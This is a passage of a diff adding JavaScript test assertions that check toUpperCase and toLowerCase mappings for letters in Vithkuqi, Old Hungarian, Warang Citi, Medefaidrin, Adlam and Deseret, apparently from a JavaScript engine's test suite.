+assertEq(String.fromCodePoint(0x105AB).toUpperCase().codePointAt(0), 0x10584); // VITHKUQI SMALL LETTER ME, VITHKUQI CAPITAL LETTER ME
+assertEq(String.fromCodePoint(0x105AC).toUpperCase().codePointAt(0), 0x10585); // VITHKUQI SMALL LETTER NE, VITHKUQI CAPITAL LETTER NE
+assertEq(String.fromCodePoint(0x105AD).toUpperCase().codePointAt(0), 0x10586); // VITHKUQI SMALL LETTER NJE, VITHKUQI CAPITAL LETTER NJE
+assertEq(String.fromCodePoint(0x105AE).toUpperCase().codePointAt(0), 0x10587); // VITHKUQI SMALL LETTER O, VITHKUQI CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x105AF).toUpperCase().codePointAt(0), 0x10588); // VITHKUQI SMALL LETTER PE, VITHKUQI CAPITAL LETTER PE
+assertEq(String.fromCodePoint(0x105B0).toUpperCase().codePointAt(0), 0x10589); // VITHKUQI SMALL LETTER QA, VITHKUQI CAPITAL LETTER QA
+assertEq(String.fromCodePoint(0x105B1).toUpperCase().codePointAt(0), 0x1058A); // VITHKUQI SMALL LETTER RE, VITHKUQI CAPITAL LETTER RE
+assertEq(String.fromCodePoint(0x105B3).toUpperCase().codePointAt(0), 0x1058C); // VITHKUQI SMALL LETTER SE, VITHKUQI CAPITAL LETTER SE
+assertEq(String.fromCodePoint(0x105B4).toUpperCase().codePointAt(0), 0x1058D); // VITHKUQI SMALL LETTER SHE, VITHKUQI CAPITAL LETTER SHE
+assertEq(String.fromCodePoint(0x105B5).toUpperCase().codePointAt(0), 0x1058E); // VITHKUQI SMALL LETTER TE, VITHKUQI CAPITAL LETTER TE
+assertEq(String.fromCodePoint(0x105B6).toUpperCase().codePointAt(0), 0x1058F); // VITHKUQI SMALL LETTER THE, VITHKUQI CAPITAL LETTER THE
+assertEq(String.fromCodePoint(0x105B7).toUpperCase().codePointAt(0), 0x10590); // VITHKUQI SMALL LETTER U, VITHKUQI CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x105B8).toUpperCase().codePointAt(0), 0x10591); // VITHKUQI SMALL LETTER VE, VITHKUQI CAPITAL LETTER VE
+assertEq(String.fromCodePoint(0x105B9).toUpperCase().codePointAt(0), 0x10592); // VITHKUQI SMALL LETTER XE, VITHKUQI CAPITAL LETTER XE
+assertEq(String.fromCodePoint(0x105BB).toUpperCase().codePointAt(0), 0x10594); // VITHKUQI SMALL LETTER Y, VITHKUQI CAPITAL LETTER Y
+assertEq(String.fromCodePoint(0x105BC).toUpperCase().codePointAt(0), 0x10595); // VITHKUQI SMALL LETTER ZE, VITHKUQI CAPITAL LETTER ZE
+assertEq(String.fromCodePoint(0x10CC0).toUpperCase().codePointAt(0), 0x10C80); // OLD HUNGARIAN SMALL LETTER A, OLD HUNGARIAN CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x10CC1).toUpperCase().codePointAt(0), 0x10C81); // OLD HUNGARIAN SMALL LETTER AA, OLD HUNGARIAN CAPITAL LETTER AA
+assertEq(String.fromCodePoint(0x10CC2).toUpperCase().codePointAt(0), 0x10C82); // OLD HUNGARIAN SMALL LETTER EB, OLD HUNGARIAN CAPITAL LETTER EB
+assertEq(String.fromCodePoint(0x10CC3).toUpperCase().codePointAt(0), 0x10C83); // OLD HUNGARIAN SMALL LETTER AMB, OLD HUNGARIAN CAPITAL LETTER AMB
+assertEq(String.fromCodePoint(0x10CC4).toUpperCase().codePointAt(0), 0x10C84); // OLD HUNGARIAN SMALL LETTER EC, OLD HUNGARIAN CAPITAL LETTER EC
+assertEq(String.fromCodePoint(0x10CC5).toUpperCase().codePointAt(0), 0x10C85); // OLD HUNGARIAN SMALL LETTER ENC, OLD HUNGARIAN CAPITAL LETTER ENC
+assertEq(String.fromCodePoint(0x10CC6).toUpperCase().codePointAt(0), 0x10C86); // OLD HUNGARIAN SMALL LETTER ECS, OLD HUNGARIAN CAPITAL LETTER ECS
+assertEq(String.fromCodePoint(0x10CC7).toUpperCase().codePointAt(0), 0x10C87); // OLD HUNGARIAN SMALL LETTER ED, OLD HUNGARIAN CAPITAL LETTER ED
+assertEq(String.fromCodePoint(0x10CC8).toUpperCase().codePointAt(0), 0x10C88); // OLD HUNGARIAN SMALL LETTER AND, OLD HUNGARIAN CAPITAL LETTER AND
+assertEq(String.fromCodePoint(0x10CC9).toUpperCase().codePointAt(0), 0x10C89); // OLD HUNGARIAN SMALL LETTER E, OLD HUNGARIAN CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x10CCA).toUpperCase().codePointAt(0), 0x10C8A); // OLD HUNGARIAN SMALL LETTER CLOSE E, OLD HUNGARIAN CAPITAL LETTER CLOSE E
+assertEq(String.fromCodePoint(0x10CCB).toUpperCase().codePointAt(0), 0x10C8B); // OLD HUNGARIAN SMALL LETTER EE, OLD HUNGARIAN CAPITAL LETTER EE
+assertEq(String.fromCodePoint(0x10CCC).toUpperCase().codePointAt(0), 0x10C8C); // OLD HUNGARIAN SMALL LETTER EF, OLD HUNGARIAN CAPITAL LETTER EF
+assertEq(String.fromCodePoint(0x10CCD).toUpperCase().codePointAt(0), 0x10C8D); // OLD HUNGARIAN SMALL LETTER EG, OLD HUNGARIAN CAPITAL LETTER EG
+assertEq(String.fromCodePoint(0x10CCE).toUpperCase().codePointAt(0), 0x10C8E); // OLD HUNGARIAN SMALL LETTER EGY, OLD HUNGARIAN CAPITAL LETTER EGY
+assertEq(String.fromCodePoint(0x10CCF).toUpperCase().codePointAt(0), 0x10C8F); // OLD HUNGARIAN SMALL LETTER EH, OLD HUNGARIAN CAPITAL LETTER EH
+assertEq(String.fromCodePoint(0x10CD0).toUpperCase().codePointAt(0), 0x10C90); // OLD HUNGARIAN SMALL LETTER I, OLD HUNGARIAN CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x10CD1).toUpperCase().codePointAt(0), 0x10C91); // OLD HUNGARIAN SMALL LETTER II, OLD HUNGARIAN CAPITAL LETTER II
+assertEq(String.fromCodePoint(0x10CD2).toUpperCase().codePointAt(0), 0x10C92); // OLD HUNGARIAN SMALL LETTER EJ, OLD HUNGARIAN CAPITAL LETTER EJ
+assertEq(String.fromCodePoint(0x10CD3).toUpperCase().codePointAt(0), 0x10C93); // OLD HUNGARIAN SMALL LETTER EK, OLD HUNGARIAN CAPITAL LETTER EK
+assertEq(String.fromCodePoint(0x10CD4).toUpperCase().codePointAt(0), 0x10C94); // OLD HUNGARIAN SMALL LETTER AK, OLD HUNGARIAN CAPITAL LETTER AK
+assertEq(String.fromCodePoint(0x10CD5).toUpperCase().codePointAt(0), 0x10C95); // OLD HUNGARIAN SMALL LETTER UNK, OLD HUNGARIAN CAPITAL LETTER UNK
+assertEq(String.fromCodePoint(0x10CD6).toUpperCase().codePointAt(0), 0x10C96); // OLD HUNGARIAN SMALL LETTER EL, OLD HUNGARIAN CAPITAL LETTER EL
+assertEq(String.fromCodePoint(0x10CD7).toUpperCase().codePointAt(0), 0x10C97); // OLD HUNGARIAN SMALL LETTER ELY, OLD HUNGARIAN CAPITAL LETTER ELY
+assertEq(String.fromCodePoint(0x10CD8).toUpperCase().codePointAt(0), 0x10C98); // OLD HUNGARIAN SMALL LETTER EM, OLD HUNGARIAN CAPITAL LETTER EM
+assertEq(String.fromCodePoint(0x10CD9).toUpperCase().codePointAt(0), 0x10C99); // OLD HUNGARIAN SMALL LETTER EN, OLD HUNGARIAN CAPITAL LETTER EN
+assertEq(String.fromCodePoint(0x10CDA).toUpperCase().codePointAt(0), 0x10C9A); // OLD HUNGARIAN SMALL LETTER ENY, OLD HUNGARIAN CAPITAL LETTER ENY
+assertEq(String.fromCodePoint(0x10CDB).toUpperCase().codePointAt(0), 0x10C9B); // OLD HUNGARIAN SMALL LETTER O, OLD HUNGARIAN CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x10CDC).toUpperCase().codePointAt(0), 0x10C9C); // OLD HUNGARIAN SMALL LETTER OO, OLD HUNGARIAN CAPITAL LETTER OO
+assertEq(String.fromCodePoint(0x10CDD).toUpperCase().codePointAt(0), 0x10C9D); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
+assertEq(String.fromCodePoint(0x10CDE).toUpperCase().codePointAt(0), 0x10C9E); // OLD HUNGARIAN SMALL LETTER RUDIMENTA OE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
+assertEq(String.fromCodePoint(0x10CDF).toUpperCase().codePointAt(0), 0x10C9F); // OLD HUNGARIAN SMALL LETTER OEE, OLD HUNGARIAN CAPITAL LETTER OEE
+assertEq(String.fromCodePoint(0x10CE0).toUpperCase().codePointAt(0), 0x10CA0); // OLD HUNGARIAN SMALL LETTER EP, OLD HUNGARIAN CAPITAL LETTER EP
+assertEq(String.fromCodePoint(0x10CE1).toUpperCase().codePointAt(0), 0x10CA1); // OLD HUNGARIAN SMALL LETTER EMP, OLD HUNGARIAN CAPITAL LETTER EMP
+assertEq(String.fromCodePoint(0x10CE2).toUpperCase().codePointAt(0), 0x10CA2); // OLD HUNGARIAN SMALL LETTER ER, OLD HUNGARIAN CAPITAL LETTER ER
+assertEq(String.fromCodePoint(0x10CE3).toUpperCase().codePointAt(0), 0x10CA3); // OLD HUNGARIAN SMALL LETTER SHORT ER, OLD HUNGARIAN CAPITAL LETTER SHORT ER
+assertEq(String.fromCodePoint(0x10CE4).toUpperCase().codePointAt(0), 0x10CA4); // OLD HUNGARIAN SMALL LETTER ES, OLD HUNGARIAN CAPITAL LETTER ES
+assertEq(String.fromCodePoint(0x10CE5).toUpperCase().codePointAt(0), 0x10CA5); // OLD HUNGARIAN SMALL LETTER ESZ, OLD HUNGARIAN CAPITAL LETTER ESZ
+assertEq(String.fromCodePoint(0x10CE6).toUpperCase().codePointAt(0), 0x10CA6); // OLD HUNGARIAN SMALL LETTER ET, OLD HUNGARIAN CAPITAL LETTER ET
+assertEq(String.fromCodePoint(0x10CE7).toUpperCase().codePointAt(0), 0x10CA7); // OLD HUNGARIAN SMALL LETTER ENT, OLD HUNGARIAN CAPITAL LETTER ENT
+assertEq(String.fromCodePoint(0x10CE8).toUpperCase().codePointAt(0), 0x10CA8); // OLD HUNGARIAN SMALL LETTER ETY, OLD HUNGARIAN CAPITAL LETTER ETY
+assertEq(String.fromCodePoint(0x10CE9).toUpperCase().codePointAt(0), 0x10CA9); // OLD HUNGARIAN SMALL LETTER ECH, OLD HUNGARIAN CAPITAL LETTER ECH
+assertEq(String.fromCodePoint(0x10CEA).toUpperCase().codePointAt(0), 0x10CAA); // OLD HUNGARIAN SMALL LETTER U, OLD HUNGARIAN CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x10CEB).toUpperCase().codePointAt(0), 0x10CAB); // OLD HUNGARIAN SMALL LETTER UU, OLD HUNGARIAN CAPITAL LETTER UU
+assertEq(String.fromCodePoint(0x10CEC).toUpperCase().codePointAt(0), 0x10CAC); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
+assertEq(String.fromCodePoint(0x10CED).toUpperCase().codePointAt(0), 0x10CAD); // OLD HUNGARIAN SMALL LETTER RUDIMENTA UE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
+assertEq(String.fromCodePoint(0x10CEE).toUpperCase().codePointAt(0), 0x10CAE); // OLD HUNGARIAN SMALL LETTER EV, OLD HUNGARIAN CAPITAL LETTER EV
+assertEq(String.fromCodePoint(0x10CEF).toUpperCase().codePointAt(0), 0x10CAF); // OLD HUNGARIAN SMALL LETTER EZ, OLD HUNGARIAN CAPITAL LETTER EZ
+assertEq(String.fromCodePoint(0x10CF0).toUpperCase().codePointAt(0), 0x10CB0); // OLD HUNGARIAN SMALL LETTER EZS, OLD HUNGARIAN CAPITAL LETTER EZS
+assertEq(String.fromCodePoint(0x10CF1).toUpperCase().codePointAt(0), 0x10CB1); // OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
+assertEq(String.fromCodePoint(0x10CF2).toUpperCase().codePointAt(0), 0x10CB2); // OLD HUNGARIAN SMALL LETTER US, OLD HUNGARIAN CAPITAL LETTER US
+assertEq(String.fromCodePoint(0x118C0).toUpperCase().codePointAt(0), 0x118A0); // WARANG CITI SMALL LETTER NGAA, WARANG CITI CAPITAL LETTER NGAA
+assertEq(String.fromCodePoint(0x118C1).toUpperCase().codePointAt(0), 0x118A1); // WARANG CITI SMALL LETTER A, WARANG CITI CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x118C2).toUpperCase().codePointAt(0), 0x118A2); // WARANG CITI SMALL LETTER WI, WARANG CITI CAPITAL LETTER WI
+assertEq(String.fromCodePoint(0x118C3).toUpperCase().codePointAt(0), 0x118A3); // WARANG CITI SMALL LETTER YU, WARANG CITI CAPITAL LETTER YU
+assertEq(String.fromCodePoint(0x118C4).toUpperCase().codePointAt(0), 0x118A4); // WARANG CITI SMALL LETTER YA, WARANG CITI CAPITAL LETTER YA
+assertEq(String.fromCodePoint(0x118C5).toUpperCase().codePointAt(0), 0x118A5); // WARANG CITI SMALL LETTER YO, WARANG CITI CAPITAL LETTER YO
+assertEq(String.fromCodePoint(0x118C6).toUpperCase().codePointAt(0), 0x118A6); // WARANG CITI SMALL LETTER II, WARANG CITI CAPITAL LETTER II
+assertEq(String.fromCodePoint(0x118C7).toUpperCase().codePointAt(0), 0x118A7); // WARANG CITI SMALL LETTER UU, WARANG CITI CAPITAL LETTER UU
+assertEq(String.fromCodePoint(0x118C8).toUpperCase().codePointAt(0), 0x118A8); // WARANG CITI SMALL LETTER E, WARANG CITI CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x118C9).toUpperCase().codePointAt(0), 0x118A9); // WARANG CITI SMALL LETTER O, WARANG CITI CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x118CA).toUpperCase().codePointAt(0), 0x118AA); // WARANG CITI SMALL LETTER ANG, WARANG CITI CAPITAL LETTER ANG
+assertEq(String.fromCodePoint(0x118CB).toUpperCase().codePointAt(0), 0x118AB); // WARANG CITI SMALL LETTER GA, WARANG CITI CAPITAL LETTER GA
+assertEq(String.fromCodePoint(0x118CC).toUpperCase().codePointAt(0), 0x118AC); // WARANG CITI SMALL LETTER KO, WARANG CITI CAPITAL LETTER KO
+assertEq(String.fromCodePoint(0x118CD).toUpperCase().codePointAt(0), 0x118AD); // WARANG CITI SMALL LETTER ENY, WARANG CITI CAPITAL LETTER ENY
+assertEq(String.fromCodePoint(0x118CE).toUpperCase().codePointAt(0), 0x118AE); // WARANG CITI SMALL LETTER YUJ, WARANG CITI CAPITAL LETTER YUJ
+assertEq(String.fromCodePoint(0x118CF).toUpperCase().codePointAt(0), 0x118AF); // WARANG CITI SMALL LETTER UC, WARANG CITI CAPITAL LETTER UC
+assertEq(String.fromCodePoint(0x118D0).toUpperCase().codePointAt(0), 0x118B0); // WARANG CITI SMALL LETTER ENN, WARANG CITI CAPITAL LETTER ENN
+assertEq(String.fromCodePoint(0x118D1).toUpperCase().codePointAt(0), 0x118B1); // WARANG CITI SMALL LETTER ODD, WARANG CITI CAPITAL LETTER ODD
+assertEq(String.fromCodePoint(0x118D2).toUpperCase().codePointAt(0), 0x118B2); // WARANG CITI SMALL LETTER TTE, WARANG CITI CAPITAL LETTER TTE
+assertEq(String.fromCodePoint(0x118D3).toUpperCase().codePointAt(0), 0x118B3); // WARANG CITI SMALL LETTER NUNG, WARANG CITI CAPITAL LETTER NUNG
+assertEq(String.fromCodePoint(0x118D4).toUpperCase().codePointAt(0), 0x118B4); // WARANG CITI SMALL LETTER DA, WARANG CITI CAPITAL LETTER DA
+assertEq(String.fromCodePoint(0x118D5).toUpperCase().codePointAt(0), 0x118B5); // WARANG CITI SMALL LETTER AT, WARANG CITI CAPITAL LETTER AT
+assertEq(String.fromCodePoint(0x118D6).toUpperCase().codePointAt(0), 0x118B6); // WARANG CITI SMALL LETTER AM, WARANG CITI CAPITAL LETTER AM
+assertEq(String.fromCodePoint(0x118D7).toUpperCase().codePointAt(0), 0x118B7); // WARANG CITI SMALL LETTER BU, WARANG CITI CAPITAL LETTER BU
+assertEq(String.fromCodePoint(0x118D8).toUpperCase().codePointAt(0), 0x118B8); // WARANG CITI SMALL LETTER PU, WARANG CITI CAPITAL LETTER PU
+assertEq(String.fromCodePoint(0x118D9).toUpperCase().codePointAt(0), 0x118B9); // WARANG CITI SMALL LETTER HIYO, WARANG CITI CAPITAL LETTER HIYO
+assertEq(String.fromCodePoint(0x118DA).toUpperCase().codePointAt(0), 0x118BA); // WARANG CITI SMALL LETTER HOLO, WARANG CITI CAPITAL LETTER HOLO
+assertEq(String.fromCodePoint(0x118DB).toUpperCase().codePointAt(0), 0x118BB); // WARANG CITI SMALL LETTER HORR, WARANG CITI CAPITAL LETTER HORR
+assertEq(String.fromCodePoint(0x118DC).toUpperCase().codePointAt(0), 0x118BC); // WARANG CITI SMALL LETTER HAR, WARANG CITI CAPITAL LETTER HAR
+assertEq(String.fromCodePoint(0x118DD).toUpperCase().codePointAt(0), 0x118BD); // WARANG CITI SMALL LETTER SSUU, WARANG CITI CAPITAL LETTER SSUU
+assertEq(String.fromCodePoint(0x118DE).toUpperCase().codePointAt(0), 0x118BE); // WARANG CITI SMALL LETTER SII, WARANG CITI CAPITAL LETTER SII
+assertEq(String.fromCodePoint(0x118DF).toUpperCase().codePointAt(0), 0x118BF); // WARANG CITI SMALL LETTER VIYO, WARANG CITI CAPITAL LETTER VIYO
+assertEq(String.fromCodePoint(0x16E60).toUpperCase().codePointAt(0), 0x16E40); // MEDEFAIDRIN SMALL LETTER M, MEDEFAIDRIN CAPITAL LETTER M
+assertEq(String.fromCodePoint(0x16E61).toUpperCase().codePointAt(0), 0x16E41); // MEDEFAIDRIN SMALL LETTER S, MEDEFAIDRIN CAPITAL LETTER S
+assertEq(String.fromCodePoint(0x16E62).toUpperCase().codePointAt(0), 0x16E42); // MEDEFAIDRIN SMALL LETTER V, MEDEFAIDRIN CAPITAL LETTER V
+assertEq(String.fromCodePoint(0x16E63).toUpperCase().codePointAt(0), 0x16E43); // MEDEFAIDRIN SMALL LETTER W, MEDEFAIDRIN CAPITAL LETTER W
+assertEq(String.fromCodePoint(0x16E64).toUpperCase().codePointAt(0), 0x16E44); // MEDEFAIDRIN SMALL LETTER ATIU, MEDEFAIDRIN CAPITAL LETTER ATIU
+assertEq(String.fromCodePoint(0x16E65).toUpperCase().codePointAt(0), 0x16E45); // MEDEFAIDRIN SMALL LETTER Z, MEDEFAIDRIN CAPITAL LETTER Z
+assertEq(String.fromCodePoint(0x16E66).toUpperCase().codePointAt(0), 0x16E46); // MEDEFAIDRIN SMALL LETTER KP, MEDEFAIDRIN CAPITAL LETTER KP
+assertEq(String.fromCodePoint(0x16E67).toUpperCase().codePointAt(0), 0x16E47); // MEDEFAIDRIN SMALL LETTER P, MEDEFAIDRIN CAPITAL LETTER P
+assertEq(String.fromCodePoint(0x16E68).toUpperCase().codePointAt(0), 0x16E48); // MEDEFAIDRIN SMALL LETTER T, MEDEFAIDRIN CAPITAL LETTER T
+assertEq(String.fromCodePoint(0x16E69).toUpperCase().codePointAt(0), 0x16E49); // MEDEFAIDRIN SMALL LETTER G, MEDEFAIDRIN CAPITAL LETTER G
+assertEq(String.fromCodePoint(0x16E6A).toUpperCase().codePointAt(0), 0x16E4A); // MEDEFAIDRIN SMALL LETTER F, MEDEFAIDRIN CAPITAL LETTER F
+assertEq(String.fromCodePoint(0x16E6B).toUpperCase().codePointAt(0), 0x16E4B); // MEDEFAIDRIN SMALL LETTER I, MEDEFAIDRIN CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x16E6C).toUpperCase().codePointAt(0), 0x16E4C); // MEDEFAIDRIN SMALL LETTER K, MEDEFAIDRIN CAPITAL LETTER K
+assertEq(String.fromCodePoint(0x16E6D).toUpperCase().codePointAt(0), 0x16E4D); // MEDEFAIDRIN SMALL LETTER A, MEDEFAIDRIN CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x16E6E).toUpperCase().codePointAt(0), 0x16E4E); // MEDEFAIDRIN SMALL LETTER J, MEDEFAIDRIN CAPITAL LETTER J
+assertEq(String.fromCodePoint(0x16E6F).toUpperCase().codePointAt(0), 0x16E4F); // MEDEFAIDRIN SMALL LETTER E, MEDEFAIDRIN CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x16E70).toUpperCase().codePointAt(0), 0x16E50); // MEDEFAIDRIN SMALL LETTER B, MEDEFAIDRIN CAPITAL LETTER B
+assertEq(String.fromCodePoint(0x16E71).toUpperCase().codePointAt(0), 0x16E51); // MEDEFAIDRIN SMALL LETTER C, MEDEFAIDRIN CAPITAL LETTER C
+assertEq(String.fromCodePoint(0x16E72).toUpperCase().codePointAt(0), 0x16E52); // MEDEFAIDRIN SMALL LETTER U, MEDEFAIDRIN CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x16E73).toUpperCase().codePointAt(0), 0x16E53); // MEDEFAIDRIN SMALL LETTER YU, MEDEFAIDRIN CAPITAL LETTER YU
+assertEq(String.fromCodePoint(0x16E74).toUpperCase().codePointAt(0), 0x16E54); // MEDEFAIDRIN SMALL LETTER L, MEDEFAIDRIN CAPITAL LETTER L
+assertEq(String.fromCodePoint(0x16E75).toUpperCase().codePointAt(0), 0x16E55); // MEDEFAIDRIN SMALL LETTER Q, MEDEFAIDRIN CAPITAL LETTER Q
+assertEq(String.fromCodePoint(0x16E76).toUpperCase().codePointAt(0), 0x16E56); // MEDEFAIDRIN SMALL LETTER HP, MEDEFAIDRIN CAPITAL LETTER HP
+assertEq(String.fromCodePoint(0x16E77).toUpperCase().codePointAt(0), 0x16E57); // MEDEFAIDRIN SMALL LETTER NY, MEDEFAIDRIN CAPITAL LETTER NY
+assertEq(String.fromCodePoint(0x16E78).toUpperCase().codePointAt(0), 0x16E58); // MEDEFAIDRIN SMALL LETTER X, MEDEFAIDRIN CAPITAL LETTER X
+assertEq(String.fromCodePoint(0x16E79).toUpperCase().codePointAt(0), 0x16E59); // MEDEFAIDRIN SMALL LETTER D, MEDEFAIDRIN CAPITAL LETTER D
+assertEq(String.fromCodePoint(0x16E7A).toUpperCase().codePointAt(0), 0x16E5A); // MEDEFAIDRIN SMALL LETTER OE, MEDEFAIDRIN CAPITAL LETTER OE
+assertEq(String.fromCodePoint(0x16E7B).toUpperCase().codePointAt(0), 0x16E5B); // MEDEFAIDRIN SMALL LETTER N, MEDEFAIDRIN CAPITAL LETTER N
+assertEq(String.fromCodePoint(0x16E7C).toUpperCase().codePointAt(0), 0x16E5C); // MEDEFAIDRIN SMALL LETTER R, MEDEFAIDRIN CAPITAL LETTER R
+assertEq(String.fromCodePoint(0x16E7D).toUpperCase().codePointAt(0), 0x16E5D); // MEDEFAIDRIN SMALL LETTER O, MEDEFAIDRIN CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x16E7E).toUpperCase().codePointAt(0), 0x16E5E); // MEDEFAIDRIN SMALL LETTER AI, MEDEFAIDRIN CAPITAL LETTER AI
+assertEq(String.fromCodePoint(0x16E7F).toUpperCase().codePointAt(0), 0x16E5F); // MEDEFAIDRIN SMALL LETTER Y, MEDEFAIDRIN CAPITAL LETTER Y
+assertEq(String.fromCodePoint(0x1E922).toUpperCase().codePointAt(0), 0x1E900); // ADLAM SMALL LETTER ALIF, ADLAM CAPITAL LETTER ALIF
+assertEq(String.fromCodePoint(0x1E923).toUpperCase().codePointAt(0), 0x1E901); // ADLAM SMALL LETTER DAALI, ADLAM CAPITAL LETTER DAALI
+assertEq(String.fromCodePoint(0x1E924).toUpperCase().codePointAt(0), 0x1E902); // ADLAM SMALL LETTER LAAM, ADLAM CAPITAL LETTER LAAM
+assertEq(String.fromCodePoint(0x1E925).toUpperCase().codePointAt(0), 0x1E903); // ADLAM SMALL LETTER MIIM, ADLAM CAPITAL LETTER MIIM
+assertEq(String.fromCodePoint(0x1E926).toUpperCase().codePointAt(0), 0x1E904); // ADLAM SMALL LETTER BA, ADLAM CAPITAL LETTER BA
+assertEq(String.fromCodePoint(0x1E927).toUpperCase().codePointAt(0), 0x1E905); // ADLAM SMALL LETTER SINNYIIYHE, ADLAM CAPITAL LETTER SINNYIIYHE
+assertEq(String.fromCodePoint(0x1E928).toUpperCase().codePointAt(0), 0x1E906); // ADLAM SMALL LETTER PE, ADLAM CAPITAL LETTER PE
+assertEq(String.fromCodePoint(0x1E929).toUpperCase().codePointAt(0), 0x1E907); // ADLAM SMALL LETTER BHE, ADLAM CAPITAL LETTER BHE
+assertEq(String.fromCodePoint(0x1E92A).toUpperCase().codePointAt(0), 0x1E908); // ADLAM SMALL LETTER RA, ADLAM CAPITAL LETTER RA
+assertEq(String.fromCodePoint(0x1E92B).toUpperCase().codePointAt(0), 0x1E909); // ADLAM SMALL LETTER E, ADLAM CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x1E92C).toUpperCase().codePointAt(0), 0x1E90A); // ADLAM SMALL LETTER FA, ADLAM CAPITAL LETTER FA
+assertEq(String.fromCodePoint(0x1E92D).toUpperCase().codePointAt(0), 0x1E90B); // ADLAM SMALL LETTER I, ADLAM CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x1E92E).toUpperCase().codePointAt(0), 0x1E90C); // ADLAM SMALL LETTER O, ADLAM CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x1E92F).toUpperCase().codePointAt(0), 0x1E90D); // ADLAM SMALL LETTER DHA, ADLAM CAPITAL LETTER DHA
+assertEq(String.fromCodePoint(0x1E930).toUpperCase().codePointAt(0), 0x1E90E); // ADLAM SMALL LETTER YHE, ADLAM CAPITAL LETTER YHE
+assertEq(String.fromCodePoint(0x1E931).toUpperCase().codePointAt(0), 0x1E90F); // ADLAM SMALL LETTER WAW, ADLAM CAPITAL LETTER WAW
+assertEq(String.fromCodePoint(0x1E932).toUpperCase().codePointAt(0), 0x1E910); // ADLAM SMALL LETTER NUN, ADLAM CAPITAL LETTER NUN
+assertEq(String.fromCodePoint(0x1E933).toUpperCase().codePointAt(0), 0x1E911); // ADLAM SMALL LETTER KAF, ADLAM CAPITAL LETTER KAF
+assertEq(String.fromCodePoint(0x1E934).toUpperCase().codePointAt(0), 0x1E912); // ADLAM SMALL LETTER YA, ADLAM CAPITAL LETTER YA
+assertEq(String.fromCodePoint(0x1E935).toUpperCase().codePointAt(0), 0x1E913); // ADLAM SMALL LETTER U, ADLAM CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x1E936).toUpperCase().codePointAt(0), 0x1E914); // ADLAM SMALL LETTER JIIM, ADLAM CAPITAL LETTER JIIM
+assertEq(String.fromCodePoint(0x1E937).toUpperCase().codePointAt(0), 0x1E915); // ADLAM SMALL LETTER CHI, ADLAM CAPITAL LETTER CHI
+assertEq(String.fromCodePoint(0x1E938).toUpperCase().codePointAt(0), 0x1E916); // ADLAM SMALL LETTER HA, ADLAM CAPITAL LETTER HA
+assertEq(String.fromCodePoint(0x1E939).toUpperCase().codePointAt(0), 0x1E917); // ADLAM SMALL LETTER QAAF, ADLAM CAPITAL LETTER QAAF
+assertEq(String.fromCodePoint(0x1E93A).toUpperCase().codePointAt(0), 0x1E918); // ADLAM SMALL LETTER GA, ADLAM CAPITAL LETTER GA
+assertEq(String.fromCodePoint(0x1E93B).toUpperCase().codePointAt(0), 0x1E919); // ADLAM SMALL LETTER NYA, ADLAM CAPITAL LETTER NYA
+assertEq(String.fromCodePoint(0x1E93C).toUpperCase().codePointAt(0), 0x1E91A); // ADLAM SMALL LETTER TU, ADLAM CAPITAL LETTER TU
+assertEq(String.fromCodePoint(0x1E93D).toUpperCase().codePointAt(0), 0x1E91B); // ADLAM SMALL LETTER NHA, ADLAM CAPITAL LETTER NHA
+assertEq(String.fromCodePoint(0x1E93E).toUpperCase().codePointAt(0), 0x1E91C); // ADLAM SMALL LETTER VA, ADLAM CAPITAL LETTER VA
+assertEq(String.fromCodePoint(0x1E93F).toUpperCase().codePointAt(0), 0x1E91D); // ADLAM SMALL LETTER KHA, ADLAM CAPITAL LETTER KHA
+assertEq(String.fromCodePoint(0x1E940).toUpperCase().codePointAt(0), 0x1E91E); // ADLAM SMALL LETTER GBE, ADLAM CAPITAL LETTER GBE
+assertEq(String.fromCodePoint(0x1E941).toUpperCase().codePointAt(0), 0x1E91F); // ADLAM SMALL LETTER ZAL, ADLAM CAPITAL LETTER ZAL
+assertEq(String.fromCodePoint(0x1E942).toUpperCase().codePointAt(0), 0x1E920); // ADLAM SMALL LETTER KPO, ADLAM CAPITAL LETTER KPO
+assertEq(String.fromCodePoint(0x1E943).toUpperCase().codePointAt(0), 0x1E921); // ADLAM SMALL LETTER SHA, ADLAM CAPITAL LETTER SHA
+assertEq(String.fromCodePoint(0x10400).toLowerCase().codePointAt(0), 0x10428); // DESERET CAPITAL LETTER LONG I, DESERET SMALL LETTER LONG I
+assertEq(String.fromCodePoint(0x10401).toLowerCase().codePointAt(0), 0x10429); // DESERET CAPITAL LETTER LONG E, DESERET SMALL LETTER LONG E
+assertEq(String.fromCodePoint(0x10402).toLowerCase().codePointAt(0), 0x1042A); // DESERET CAPITAL LETTER LONG A, DESERET SMALL LETTER LONG A
+assertEq(String.fromCodePoint(0x10403).toLowerCase().codePointAt(0), 0x1042B); // DESERET CAPITAL LETTER LONG AH, DESERET SMALL LETTER LONG AH
+assertEq(String.fromCodePoint(0x10404).toLowerCase().codePointAt(0), 0x1042C); // DESERET CAPITAL LETTER LONG O, DESERET SMALL LETTER LONG O
